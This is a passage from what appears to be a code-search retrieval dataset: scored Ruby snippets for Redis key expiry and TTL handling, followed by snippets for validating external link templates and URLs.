"docid": "a064a8db7f580c7dcc3829b196fae85d",
"score": "0.7313281",
"text": "def expire(key, seconds, nx: T.unsafe(nil), xx: T.unsafe(nil), gt: T.unsafe(nil), lt: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "f007099d92475a370ad52ec5dd65a08e",
"score": "0.73092705",
"text": "def pexpireat(key, ms_unix_time, **kwarg); end",
"title": ""
},
{
"docid": "cae6d47fbafdb5cf7cad958bbd5348eb",
"score": "0.7231081",
"text": "def expire(key, seconds, **kwargs); end",
"title": ""
},
{
"docid": "086d1799bbbe367850ebbdd5d2a82ad0",
"score": "0.7205053",
"text": "def expireat(key, unix_time, nx: T.unsafe(nil), xx: T.unsafe(nil), gt: T.unsafe(nil), lt: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "50a1ebe7834298f467f999bb2d55d409",
"score": "0.7165485",
"text": "def pexpire(key, milliseconds, **kwarg); end",
"title": ""
},
{
"docid": "a744c26428c29eb920d001441020215a",
"score": "0.69906557",
"text": "def pexpire(key, milliseconds, nx: T.unsafe(nil), xx: T.unsafe(nil), gt: T.unsafe(nil), lt: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "e77d2c7c113d29effe88e54abe030d8d",
"score": "0.69891065",
"text": "def expireat(key, unix_time, **kwargs)\n node_for(key).expireat(key, unix_time, **kwargs)\n end",
"title": ""
},
{
"docid": "0970f471ec2187e541fed53f5f9dd71d",
"score": "0.69689983",
"text": "def pexpireat(key, ms_unix_time, nx: T.unsafe(nil), xx: T.unsafe(nil), gt: T.unsafe(nil), lt: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "b8fb6cfee6c80a53c90ef3692a6c0977",
"score": "0.6948082",
"text": "def expire_time(key)\n @store[key].expires_at\n end",
"title": ""
},
{
"docid": "44d30b1c7f0e4216257db7de68bcb618",
"score": "0.69012076",
"text": "def setex(key, ttl, value); end",
"title": ""
},
{
"docid": "44d30b1c7f0e4216257db7de68bcb618",
"score": "0.69012076",
"text": "def setex(key, ttl, value); end",
"title": ""
},
{
"docid": "b1cbcf76b7f19cf12c7020df2face5dd",
"score": "0.6884748",
"text": "def pexpireat(key, ms_unix_time, **kwarg)\n node_for(key).pexpireat(key, ms_unix_time, **kwarg)\n end",
"title": ""
},
{
"docid": "6e4131a43034ae940a81259accf20eab",
"score": "0.67748517",
"text": "def set(key, value, expires_in = 0)\n\n end",
"title": ""
},
{
"docid": "27957c95307daea1b5419646327af1f2",
"score": "0.6754907",
"text": "def expire(key, seconds)\n # no-op\n end",
"title": ""
},
{
"docid": "6b6ff3c37aab535e9b97630b0d097ece",
"score": "0.6723635",
"text": "def expire(key, seconds, **kwargs)\n node_for(key).expire(key, seconds, **kwargs)\n end",
"title": ""
},
{
"docid": "18d415e3ee5e9908ef79360e3ee87fe1",
"score": "0.6687264",
"text": "def autoexpire\n redis.expire(key, timespan)\n end",
"title": ""
},
{
"docid": "f610251849f5b72e424c95b5b6490e7e",
"score": "0.6662452",
"text": "def key_expiration_time(rnp_key)\n Time.at(key_creation_time(rnp_key) + key_validity_seconds(rnp_key))\n end",
"title": ""
},
{
"docid": "fd8b789d16ada0fb8866e45ac18eec58",
"score": "0.66536057",
"text": "def pexpire(key, milliseconds)\n call(key, [:pexpire, key, milliseconds], transform: Redis::Boolify)\n end",
"title": ""
},
{
"docid": "01fa0dd75be195a197f63284c339ebbd",
"score": "0.6644157",
"text": "def expire(key, seconds)\n call(key, [:expire, key, seconds], transform: Redis::Boolify)\n end",
"title": ""
},
{
"docid": "5038a631d6f71189c8513e191e2ba7c0",
"score": "0.6614914",
"text": "def set key, value, expiration\n backend.set key.to_s, serialize(value), expiration rescue nil\n end",
"title": ""
},
{
"docid": "a5d224dc7e76f6d325e37aa55e7447d7",
"score": "0.65576077",
"text": "def pexpire(key, milliseconds, **kwarg)\n node_for(key).pexpire(key, milliseconds, **kwarg)\n end",
"title": ""
},
{
"docid": "2ab8a7ff4df3682585519ab734ddfb83",
"score": "0.6532139",
"text": "def setex(key, ttl, value)\n node_for(key).setex(key, ttl, value)\n end",
"title": ""
},
{
"docid": "c1e61ece3b68388cd44914536705adf7",
"score": "0.6517043",
"text": "def expiration=(value)\n @expiration = value\n end",
"title": ""
},
{
"docid": "6248db4a07d20dbc230faa457c754cea",
"score": "0.649717",
"text": "def expire=(_); end",
"title": ""
},
{
"docid": "dee9095ce388fe93a9f7c4a0f552d812",
"score": "0.6472666",
"text": "def ttl(key); end",
"title": ""
},
{
"docid": "dee9095ce388fe93a9f7c4a0f552d812",
"score": "0.6472666",
"text": "def ttl(key); end",
"title": ""
},
{
"docid": "c35ff7ec54c55f7fd6c7dee649e7beaa",
"score": "0.64564735",
"text": "def initialize(key, expiration_time = 10.minutes)\n @key = key\n @expiration_time = expiration_time\n end",
"title": ""
},
{
"docid": "be8fe2b0c1f5e65ad4f783f0ef50bdf0",
"score": "0.64450544",
"text": "def set(key, value, timestamp)\n \n end",
"title": ""
},
{
"docid": "926ef5bc7939bc691369af23bad39bd3",
"score": "0.64118665",
"text": "def set(key, value, expires_in = DEFAULT_TTL)\n k = build_key(key)\n\n v = if value.nil? || (value.is_a?(String) && value.strip.empty?)\n nil\n else\n serialize(value)\n end\n\n expiry_int = Integer(expires_in)\n expire_value = expiry_int.positive? ? expiry_int : Integer(DEFAULT_TTL)\n\n with_client do |client|\n client.multi do\n client.set(k, v)\n\n client.expire(k, expire_value)\n end\n end\n end",
"title": ""
},
{
"docid": "a8c9182737859f1adb464be2c501e724",
"score": "0.639916",
"text": "def expire(key, seconds, nx: nil, xx: nil, gt: nil, lt: nil)\n args = [:expire, key, Integer(seconds)]\n args << \"NX\" if nx\n args << \"XX\" if xx\n args << \"GT\" if gt\n args << \"LT\" if lt\n\n send_command(args, &Boolify)\n end",
"title": ""
},
{
"docid": "efdd3bdc3145ce1456c430154339cda5",
"score": "0.63641965",
"text": "def set_expiration_date(expiration_date)\n return unless Trebuchet.backend.respond_to?(:set_expiration_date)\n Trebuchet.backend.set_expiration_date(self.name, expiration_date)\n end",
"title": ""
},
{
"docid": "03a0037d008dff3a0be98192e5c7f8ae",
"score": "0.6363614",
"text": "def ttl(key)\n key = add_namespace(key)\n @redis.ttl(key)\n end",
"title": ""
},
{
"docid": "a5ae578eeba1fb769edc29688fbdf96b",
"score": "0.63477737",
"text": "def process_expire(command)\n key = command[0]\n seconds = command[1]\n options = {:expiration => seconds }\n @connection.touch(as_key(key), options)? 0 : 1 # return 1 when result is OK = 0\n rescue ::Aerospike::Exceptions::Aerospike => e\n if (e.result_code == ::Aerospike::ResultCode::KEY_NOT_FOUND_ERROR)\n return 0\n else\n raise\n end\n end",
"title": ""
},
{
"docid": "0472355aac5502278614aece0de0a2aa",
"score": "0.6341452",
"text": "def setex(key, ttl, value)\n send_command([:setex, key, Integer(ttl), value.to_s])\n end",
"title": ""
},
{
"docid": "42190d4025ba0bf80f09b0aad78d816c",
"score": "0.6310621",
"text": "def psetex(key, ttl, value); end",
"title": ""
},
{
"docid": "42190d4025ba0bf80f09b0aad78d816c",
"score": "0.6310621",
"text": "def psetex(key, ttl, value); end",
"title": ""
},
{
"docid": "f2d88fa6c8c9f5ab6b713df9c422e4d8",
"score": "0.62937075",
"text": "def update_kase_expires_at\n if self.kase && self.kase.expires_at.nil? && self.expires_at && !self.has_expired?\n self.kase.class.transaction do \n self.kase.lock!\n self.kase.update_attribute(:expires_at, self.expires_at) if self.kase.expires_at.nil?\n end\n end\n end",
"title": ""
},
{
"docid": "0bef88b4a2b630284823e5bbab047c4c",
"score": "0.62749296",
"text": "def expires_at=(value)\n self[:expires_at] = value\n end",
"title": ""
},
{
"docid": "9176cd10d91c9bb9f63b52aa66a51a5e",
"score": "0.6272472",
"text": "def add_pair_with_expire(key, value, expire_time)\r\n @redis.set(key, value)\r\n @redis.expire(key, expire_time) \r\n end",
"title": ""
},
{
"docid": "78eb7c258f4552c97b726e48bfe0ec42",
"score": "0.62347656",
"text": "def set(key, value, ttl = 0)\n stats[:set] += 1\n handler.set key, value, ttl\n end",
"title": ""
},
{
"docid": "a40b820f8a969451bb8a06e40ad617f4",
"score": "0.6199348",
"text": "def set(key, value, expiry = adapter.configuration.retrieve(:default_expiry, 0))\n do_with_logging(:set, key) do\n expiry = calculate_expiry_time(expiry)\n adapter.set(key.to_s, marshall(value), expiry.to_i)\n logger.info('', '', :expiry, cache_name, key, expiry.to_i)\n value\n end\n end",
"title": ""
},
{
"docid": "951c4ef37d49caca4ed7ff5de381aad5",
"score": "0.61796534",
"text": "def expires_at= new_expires_at\n @expires_at = normalize_timestamp new_expires_at\n end",
"title": ""
},
{
"docid": "ec743701dc7b07ad275e71178340e84e",
"score": "0.617825",
"text": "def expire(key)\n true\n end",
"title": ""
},
{
"docid": "008649d5425efb76a0eef83f3df985d7",
"score": "0.616445",
"text": "def set(key, value, ttl: ShopifyClient.config.cache_ttl)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "f3787759d7e33b2a4f620ad318118002",
"score": "0.6160015",
"text": "def simulate_expire; end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.61570114",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.61570114",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.61570114",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.61570114",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.61570114",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "150412728c0a421cc1cb873190c50e28",
"score": "0.61570114",
"text": "def expiration_date_time=(value)\n @expiration_date_time = value\n end",
"title": ""
},
{
"docid": "2e2eac07e354a18d0e7f7f5f2ea228c0",
"score": "0.6156647",
"text": "def set(key, value, options = {})\n time = options[:time] || timeout\n \n # we can technically do away with checking against Integer explicitly since\n # the to_int call will take care of it for us through Integer#to_int returning\n # self, but it's here for the sake of clarity, mostly.\n #\n # on the other hand, the #to_time call is necessary, since, for some reason,\n # Time#to_time only exists if you require \"time\".\n time = case time\n when Integer\n Time.now + time\n when Time\n time\n else\n if time.respond_to?(:to_int)\n Time.now + time.to_int\n elsif time.respond_to?(:to_time)\n time.to_time\n end\n end\n \n raise(ArgumentError, \"time argument #{time.inspect} could not be converted to a time\") if time.nil?\n \n return nil if time <= Time.now\n \n v = TimedObject.new(value, time)\n @store[key] = v\n \n value\n end",
"title": ""
},
{
"docid": "aefb5a6b51e3d996f6ec6547ccff45ae",
"score": "0.61397576",
"text": "def expires_in\n Gitlab::Redis::SharedState.with do |redis|\n redis.ttl(key)\n end\n end",
"title": ""
},
{
"docid": "51503779eb65339c3d75bb4ee88a2f5e",
"score": "0.61255586",
"text": "def store(key, value, options = {})\n expiration = options[:expire_after] || @default_expiration\n value = Marshal.dump(value)\n redis_key = prefix(key)\n if expiration > 0\n @redis.setex(redis_key, expiration, value)\n else\n @redis.set(redis_key, value)\n end\n value\n end",
"title": ""
},
{
"docid": "30bd17a1290c37d4b4606dfd45e8dad6",
"score": "0.61207753",
"text": "def touch(key, exptime)\n set(key, :exptime => exptime)\n end",
"title": ""
},
{
"docid": "e9a4dd55e7099d27d3c8eae83343013b",
"score": "0.6108405",
"text": "def expire!\n self.last_retrieved = Time.mktime(1970).gmtime\n self.save\n end",
"title": ""
},
{
"docid": "bed80e629a5f611840d012043f72f59d",
"score": "0.6101794",
"text": "def default_expire=(value)\n raise ArgumentError, \"#{name}.default_expire value must be greater than 0\" unless (value = value.to_f) > 0\n @@default_expire = value\n end",
"title": ""
},
{
"docid": "4813dcdedb466070b04c878140589adf",
"score": "0.6085135",
"text": "def set_expires_at\n self[:expires_at] = case self.expiry_option \n when :in then Time.now.utc + (self.expiry_days || 3).days\n when :on then self[:expires_at]\n else self[:expires_at]\n end\n end",
"title": ""
},
{
"docid": "ccd360d29638aedff7478f2e968bf305",
"score": "0.6075685",
"text": "def set(key, value, expiry_time = nil)\n do_with_logging(:set, key) do\n retryable do\n self.adapter.set(key, adapter.marshal(value), calculate_expiry_time(expiry_time))\n end\n end\n end",
"title": ""
},
{
"docid": "2d0e7728eaa34b408c53582d9ca6979d",
"score": "0.6054361",
"text": "def set_data(key, value, expire_at: nil)\n key = key.to_sym\n ts = expire_at ? expire_at.to_i : nil\n\n (@data[key] = [value, ts]).first\n end",
"title": ""
},
{
"docid": "359404c80dbe61f8bd7eb8275d993858",
"score": "0.6042686",
"text": "def set_expire_at_date\n self[:expire_at] = valid_at + 1.year\n end",
"title": ""
},
{
"docid": "ecff9eb63b1bb7383d2703fe5250b819",
"score": "0.6041878",
"text": "def expire_cache(key)\n end",
"title": ""
},
{
"docid": "028df07d171c187b73cdd7fae53fd2f7",
"score": "0.60241336",
"text": "def expires_at=(time)\n self.expiry_option = :on\n self[:expires_at] = time\n end",
"title": ""
},
{
"docid": "1d8bfd07f141ddcdd2fdb7104b89e883",
"score": "0.6017247",
"text": "def expireat(key, unix_time, nx: nil, xx: nil, gt: nil, lt: nil)\n args = [:expireat, key, Integer(unix_time)]\n args << \"NX\" if nx\n args << \"XX\" if xx\n args << \"GT\" if gt\n args << \"LT\" if lt\n\n send_command(args, &Boolify)\n end",
"title": ""
},
{
"docid": "77eb3cb461e8c8abde8ae1e2c073bd92",
"score": "0.6013385",
"text": "def set_expiration_date\n self.expiry_date = Date.today + 365.days\n end",
"title": ""
},
{
"docid": "7f54161edf5b6850ff04b8c413df8476",
"score": "0.6011771",
"text": "def expiry(t)\n Time.now.to_i + t\n end",
"title": ""
},
{
"docid": "9eb33a378111fb9ee7ab8fedbf39d7d3",
"score": "0.60079217",
"text": "def set_expires_at\n self[:expires_at] = case self.expiry_option \n when :in then Time.now.utc + (self.expiry_days || DEFAULT_EXPIRY_DAYS).days\n when :on then self[:expires_at]\n else self[:expires_at]\n end\n end",
"title": ""
},
{
"docid": "9f9bf1ddbbaa09a6ddd9a90130d7b82c",
"score": "0.6003241",
"text": "def event_expiry=(value)\n @event_expiry = coerce_time_milli(value)\n cleanup_expired_events\n end",
"title": ""
},
{
"docid": "16901da328e5aead8f89db378d8a5961",
"score": "0.6000795",
"text": "def set(key, value, expires_in = 0)\n remove(key)\n expires = nil\n if expires_in > 0\n expires = Time.now.utc + expires_in\n end\n @store.push({ key: build_key(key), value: value, expires: expires})\n end",
"title": ""
},
{
"docid": "adb533b02169a7062ca9f0ed35723864",
"score": "0.5997194",
"text": "def expiration_time\n Time.at(0, expiration_date, :millisecond)\n end",
"title": ""
},
{
"docid": "ad1fc2934062342f0760b114a619f396",
"score": "0.5968465",
"text": "def expires=(value)\n @expires = value\n @expires_in = nil\n end",
"title": ""
},
{
"docid": "0a51ec25a72b41ae3c18d95c72a74eef",
"score": "0.59662926",
"text": "def expire(key, expires_in)\n namespace(key) { |key| super(key, expires_in) }\n end",
"title": ""
},
{
"docid": "e4cf9d3520900bfce21c035c5b035b2e",
"score": "0.5963277",
"text": "def expire\n update_attribute :expires_at, 1.minute.ago\n end",
"title": ""
},
{
"docid": "455fa376026755b050fc7e568ed89f61",
"score": "0.596127",
"text": "def expires_at=(val)\n super( parse_date(val) )\n rescue ArgumentError\n super (val)\n end",
"title": ""
},
{
"docid": "e8e5c4c221f12a230e21acbed3c26fa7",
"score": "0.5956998",
"text": "def expiration=(expiration_date)\n unless self.new_record?\n logger.warn(\"Attempted to set expiration on existing record: access_token id=#{self.id}. Update ignored\")\n return\n end\n super(expiration_date)\n\n self.expired = expiration_date.nil? || (expiration_date == '') || expiration_date.past?\n end",
"title": ""
},
{
"docid": "124b03a7b011a95c6d48e92fec96b25f",
"score": "0.5952277",
"text": "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end",
"title": ""
},
{
"docid": "3fe24cb91b9e4939af9c785d7e28a9ac",
"score": "0.59517306",
"text": "def ttl_in_seconds= value\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end",
"title": ""
},
{
"docid": "abb47fb769cfed1d77eb558c77f457ba",
"score": "0.59378433",
"text": "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end",
"title": ""
},
{
"docid": "abb47fb769cfed1d77eb558c77f457ba",
"score": "0.59378433",
"text": "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end",
"title": ""
},
{
"docid": "abb47fb769cfed1d77eb558c77f457ba",
"score": "0.59378433",
"text": "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end",
"title": ""
},
{
"docid": "2c7a32692c2bd23f02846cff9192dc52",
"score": "0.5933953",
"text": "def expiration_timestamp\n @lock_expire if @lock_expire && owner_ident == @locked_owner_id\n end",
"title": ""
},
{
"docid": "647aa841d170eb54d868e811b89264fb",
"score": "0.5931932",
"text": "def write(key, value, expires_in: nil)\n @cache[key] = value\n @expires[key] = Faulty.current_time + expires_in unless expires_in.nil?\n end",
"title": ""
},
{
"docid": "9d0bfbd930fbab1b62d729c3c5e518c8",
"score": "0.5924325",
"text": "def set_expire\n tag[id].setex timeout, id\n tag[:pull_list][id].expire timeout\n end",
"title": ""
},
{
"docid": "b8e5875d8ff4e2f7ecd026c867e00e3d",
"score": "0.59199166",
"text": "def ttl(key)\n send_command([:ttl, key])\n end",
"title": ""
},
{
"docid": "debeca2ef09f63d9bff24af1eba59615",
"score": "0.5918758",
"text": "def expiry= new_expiry\n @expiry = new_expiry ? new_expiry.to_i : nil\n end",
"title": ""
},
{
"docid": "6f98c83e6fd498cc4b6e67722e94db22",
"score": "0.5909479",
"text": "def expiry\n @expiry ||= 60 * 10\n end",
"title": ""
},
{
"docid": "6f98c83e6fd498cc4b6e67722e94db22",
"score": "0.5909479",
"text": "def expiry\n @expiry ||= 60 * 10\n end",
"title": ""
},
{
"docid": "df270cc7287c1b62dc71f0fc475e040a",
"score": "0.59074074",
"text": "def psetex(key, ttl, value)\n node_for(key).psetex(key, ttl, value)\n end",
"title": ""
},
{
"docid": "be0082e33b701f3ecc39a8e656806d9c",
"score": "0.59067893",
"text": "def ttl\n Goalkeeper.redis.ttl(key)\n end",
"title": ""
},
{
"docid": "781035d1068efaa52d14ed4d39e27c1c",
"score": "0.5883233",
"text": "def ttl(key)\n pttl = @redis.pttl(\"SimpleRedisLock:#{key}\")\n return nil if pttl == -2\n\n pttl.to_f / 1000\n end",
"title": ""
},
{
"docid": "beac7ce164941c57a2e4078fc7bd6be6",
"score": "0.5874248",
"text": "def ttl_in_seconds=(value)\n @ttl_in_seconds = value\n refresh_rates_expiration! if ttl_in_seconds\n end",
"title": ""
},
{
"docid": "1b5f2f249c92d6a42f8dbc07cb75f57a",
"score": "0.5873086",
"text": "def refresh_expiry\n self.expires_at = Time.now + ttl\n end",
"title": ""
},
{
"docid": "1a27f89a5e59f06ade7d716065623e24",
"score": "0.5872474",
"text": "def value=(v)\n # AKK: 0 is no TTL\n connection.set(key, v, 0, false)\n end",
"title": ""
},
{
"docid": "0651ad4e5d51beba2a19f3668a133fb3",
"score": "0.58648896",
"text": "def key_validity_seconds(rnp_key)\n rnp_key.json[\"expiration\"]\n end",
"title": ""
},
{
"docid": "99531bda9519e9c18f8703c04b80f708",
"score": "0.5863995",
"text": "def []=(key, value)\n v = TimedObject.new(value, Time.now + timeout)\n @store[key] = v\n end",
"title": ""
},
{
"docid": "2a30d119ce0e8fb17e6f1b50995392aa",
"score": "0.5862559",
"text": "def expires_date=(value)\n @children['expires-date'][:value] = value\n end",
"title": ""
},
{
"docid": "f594710372095fcf06cc2d264c4390f3",
"score": "0.5859565",
"text": "def record_token(token, tstamp, expiration=90)\n $redis_token.multi do\n $redis_token.set(token, tstamp)\n $redis_token.expire(token, expiration)\n end\nend",
"title": ""
},
{
"docid": "02ff60f69b3d1e63c3a33864831a881c",
"score": "0.5836267",
"text": "def set key, value, exp\n @redis.setex key, exp, value\n end",
"title": ""
},
{
"docid": "f0b495226818dad5efdad458c507dd10",
"score": "0.5829947",
"text": "def update!(**args)\n @expire_time = args[:expire_time] if args.key?(:expire_time)\n @ttl = args[:ttl] if args.key?(:ttl)\n end",
"title": ""
},
{
"docid": "a50598b02a9fa4ecf30590697da2a06e",
"score": "0.5829221",
"text": "def set_expiration\n id = self.id\n self.delay(run_at: self.expiration, queue: id).set_archive(id)\n end",
"title": ""
}
] |
8d07efde0887286cf790fab5cc887eda | Ensure the given argument is a valid external link template | [
{
"docid": "63af7ab0d3ecfe9634f69bcb9f487b02",
"score": "0.72696066",
"text": "def wf_link_template?(template)\n if template.is_a?(String) &&\n template.start_with?('http://', 'https://')\n return true\n end\n\n raise Wavefront::Exception::InvalidLinkTemplate, template\n end",
"title": ""
}
] | [
{
"docid": "508417ae6c622963a8a011147999fc64",
"score": "0.6344986",
"text": "def requires_link?\n @email.include?('{% link %}') ||\n @email.include?('{{ link.')\n end",
"title": ""
},
{
"docid": "a8b2c988a0474eb5383b543a0ff54f2b",
"score": "0.6292756",
"text": "def validate_content_url\n #something here for validating format of super :content when it's a Link followed by tags\n end",
"title": ""
},
{
"docid": "9721370b810adc6146325e4165bb2350",
"score": "0.627485",
"text": "def process_external_link_tag(tag)\n parts = tag.split('|')\n parts.reverse! if @markup.reverse_links?\n return if parts.size.zero?\n if parts.size == 1\n url = parts[0].strip\n else\n name, url = *parts.compact.map(&:strip) \n end\n accepted_protocols = @markup.wiki.sanitization.protocols['a']['href'].dup\n if accepted_protocols.include?(:relative)\n accepted_protocols.select!{|protocol| protocol != :relative}\n regexp = %r{^((#{accepted_protocols.join(\"|\")}):)?(//)}\n else\n regexp = %r{^((#{accepted_protocols.join(\"|\")}):)}\n end\n if url =~ regexp\n if name.nil?\n %{<a href=\"#{url}\">#{url}</a>}\n else\n %{<a href=\"#{url}\">#{name}</a>}\n end\n else\n nil\n end\n \n end",
"title": ""
},
{
"docid": "49ac5bd5a899804772d01281d82c6e1b",
"score": "0.62153864",
"text": "def HyperLinkBase=(v) Axlsx::validate_string",
"title": ""
},
{
"docid": "64e9648d9d01528bab398bcf857c4865",
"score": "0.61439866",
"text": "def ensure_valid_link(link)\n if link.start_with? '//'\n link = 'https:' + link\n end\n link\n end",
"title": ""
},
{
"docid": "efeefac0e7dc5942255ba416ee83f3fd",
"score": "0.6032011",
"text": "def template_is_url?(path)\n normalise_file_path_to_url(path)\n true\n rescue ArgumentError, URI::InvalidURIError\n false\n end",
"title": ""
},
{
"docid": "ba6db1e2d01a3acc00c1cb88275ed943",
"score": "0.5950488",
"text": "def href_template; end",
"title": ""
},
{
"docid": "9849716af172fe9841639ae5a2ab1cfc",
"score": "0.58930147",
"text": "def is_external_link?\n external_link?(src)\n end",
"title": ""
},
{
"docid": "7590aaf5c4d508f51c3847c661177d3a",
"score": "0.58921504",
"text": "def url_for_link link\n case link\n when LINK_REGEX # => [[foo bar]]\n '/wiki/' + Article.parametrize($~[1]) # => /wiki/foo_bar\n when EXTERNAL_LINK_REGEX # => http://example.com/\n $~[1] # => http://example.com/\n when RELATIVE_PATH_REGEX # => /issues/100\n $~[1] # => /issues/100\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "0819f2dd5c2fa7807ff26ee8b884c68d",
"score": "0.57970595",
"text": "def external?\n !!(slug.match(/^https?:\\/\\/.+/))\n end",
"title": ""
},
{
"docid": "672fd2dcde4a6eb1959bd8e7ee58cc2b",
"score": "0.57686955",
"text": "def handle_special_HYPERLINK(special); end",
"title": ""
},
{
"docid": "bcd53ff9218df8983000688ba6d0becc",
"score": "0.5707771",
"text": "def yt_link?(link)\n PATTERN.match?(link)\n end",
"title": ""
},
{
"docid": "59ffd0a03d4393789282b589dbdd250e",
"score": "0.5705925",
"text": "def validate\n\t #unless link_is_existent?(url)\n\t # errors.add(:url, :invalid_url.l)\n\t #end\n\tend",
"title": ""
},
{
"docid": "2ca68813b602cd567811a497df61ac11",
"score": "0.56914234",
"text": "def validate\n !!URI.parse(link)\n rescue URI::InvalidURIError\n errors.add('link', :should_be_a_valid_url)\n end",
"title": ""
},
{
"docid": "eee98901c2f3d8707a6341a0648c8454",
"score": "0.56789774",
"text": "def no_invalid(link, *args)\n return false unless args.first\n link[\"href\"].blank?\n end",
"title": ""
},
{
"docid": "022658c28c6b9f3d4d1caae8c84ac16f",
"score": "0.5646231",
"text": "def bad_permalink\n return @bad_permalink unless @bad_permalink.nil?\n \n permalink = 'foobar'\n filepath = Doculab::Doc.directory.join(\"#{permalink}.textile\")\n \n if File.exist?(filepath)\n raise StandardError, \"The permalink '#{permalink}' corresponds to an existing file (#{filepath}), and this spec expects it be non-existant\"\n else\n @bad_permalink = permalink\n end\nend",
"title": ""
},
{
"docid": "5d6215848d7a54731724b868153e7d57",
"score": "0.5642614",
"text": "def handle_special_HYPERLINK(special)\n text = special.text.strip\n return text[1..-1] if text[0,1] == '\\\\'\n url = special.text.strip\n if url =~ /([A-Za-z]+):(.*)/\n type = $1\n path = $2\n else\n type = \"http\"\n path = url\n url = \"http://#{url}\"\n end\n \n case type \n when \"http\"\n if url =~ /\\.(gif|png|jpg|jpeg|bmp)$/\n \"<img src=\\\"#{url}\\\"/>\"\n else\n \"<a href=\\\"#{url}\\\">#{url}</a>\"\n end\n when \"img\"\n \"<img src=\\\"#{path}\\\"/>\"\n when \"link\"\n \"<a href=\\\"#{path}\\\">#{path}</a>\"\n when \"anchor\"\n \"<a name=\\\"#{path}\\\"></a>\"\n else\n \"<a href=\\\"#{url}\\\">#{url}</a>\"\n end\n end",
"title": ""
},
{
"docid": "8ab7c4bca35ff76b579959c97e2d96fc",
"score": "0.56370836",
"text": "def templated?\n !!@link['templated']\n end",
"title": ""
},
{
"docid": "a9244e27d0a17acfb383a578b5c7a129",
"score": "0.5617756",
"text": "def handle_special_HYPERLINK(special)\n url = special.text\n gen_url url, url\n end",
"title": ""
},
{
"docid": "5545d42308d4f745595b55bf344389e3",
"score": "0.5614476",
"text": "def valid_wiki_link?(ext)\n ext =~ Regexp.new(VALID_WIKI_REGEX_WHOLE_STRING)\n end",
"title": ""
},
{
"docid": "494f68c2edf6e948f4d70bbd3b8485e0",
"score": "0.5608079",
"text": "def ensure_url_has_http \n unless link.start_with?(\"http://\", \"https://\")\n self.link = \"http://\" + self.link\n # self.link is the link itself as a variable \n end \n end",
"title": ""
},
{
"docid": "4dc00199ea43c7f823f535d3d7cf334a",
"score": "0.5596154",
"text": "def valid_asset_uri?(str); end",
"title": ""
},
{
"docid": "4dc00199ea43c7f823f535d3d7cf334a",
"score": "0.5596154",
"text": "def valid_asset_uri?(str); end",
"title": ""
},
{
"docid": "0eb6e4adf2d46ff476968016727ad035",
"score": "0.55931544",
"text": "def valid_link_title?\n #MVR - periods are valid url characters but break rails routing\n if (link_title =~ /[^-A-Za-z0-9\\$_\\+!\\*'\\(\\),]/)\n errors.add(:link_title, \"is not valid\")\n end\n end",
"title": ""
},
{
"docid": "574722b638de14bde408b7df8d2d4b71",
"score": "0.55836457",
"text": "def external_link_to(*args, &block)\n #return text if link is blank\n return args[0] if args[1]==nil || args[1].blank?\n\n html_options = args[2] || {}\n html_options[:class] ||= ''\n html_options[:class] += ' external_link'\n html_options[:class] += ' external_link_popup' if $USE_EXTERNAL_LINK_POPUPS\n # TODO - use of target=_blank is bad for accessibility are we sure we want this? target was deprecated for xhtml but is back in html5\n html_options[:target] = '_blank' # YOU WERE HERE ... make sure this works.\n html_options[:title] ||= I18n.t(:target_blank_advisory_information)\n\n if html_options[:show_link_icon].nil? || html_options.delete(:show_link_icon) == true\n args[0] += \" #{external_link_icon}\"\n end\n link_to(args[0],args[1],html_options, &block)\n end",
"title": ""
},
{
"docid": "3cf4cbb9a8ba16ceb669abe180a12774",
"score": "0.5573626",
"text": "def format_link_or_text(url)\n return url\n end",
"title": ""
},
{
"docid": "73df109dedcc39852fa1b76f74fb282c",
"score": "0.5560958",
"text": "def is_link?\n\t\t!self.data.file? && self.custom_link.present?\n\tend",
"title": ""
},
{
"docid": "e18d729d1d0b5677435a4d60d23072ff",
"score": "0.5533443",
"text": "def link?; not link.blank?; end",
"title": ""
},
{
"docid": "776823d7f31c0efa4991ad7b20b94ee6",
"score": "0.55127484",
"text": "def handle_special_HYPERLINK(special)\n url = special.text\n gen_url(url, url)\n end",
"title": ""
},
{
"docid": "b3fdbd0283834d75c3e56ebe06a2aaa7",
"score": "0.55095416",
"text": "def valid_url path, url, strong=true\n path ||= \"\" # Could happen\n if validate_link(path) && (good = strong ? test_link(path) : path) # either the original URL or a replacement are good\n return (good.class == String) ? good : path\n elsif url\n # The path may be relative. In fact, it may have backup characters\n begin\n uri = safe_uri_join( url, path ).to_s\n uri if validate_link(uri)\n rescue Exception => e\n return nil\n end\n end\nend",
"title": ""
},
{
"docid": "623fe703fb09b8058bf2eef1732ab64b",
"score": "0.55080414",
"text": "def hyperlink; end",
"title": ""
},
{
"docid": "e093c554524ea16cd5064ecc9a54fab7",
"score": "0.5466187",
"text": "def migrate_linked_file?(uri) # href)\n href = uri.to_s\n file_uri = href.to_s.sub(/(#|\\?).*/,'')\n\n if(href == nil or href[/^mailto:/])\n return false\n end\n\n if(is_article?(file_uri))\n # if(file_uri[/html$/])\n return false\n end\n\n return true\n end",
"title": ""
},
{
"docid": "af3e8b364f06d28a03c7d0b76cf0fff9",
"score": "0.54583985",
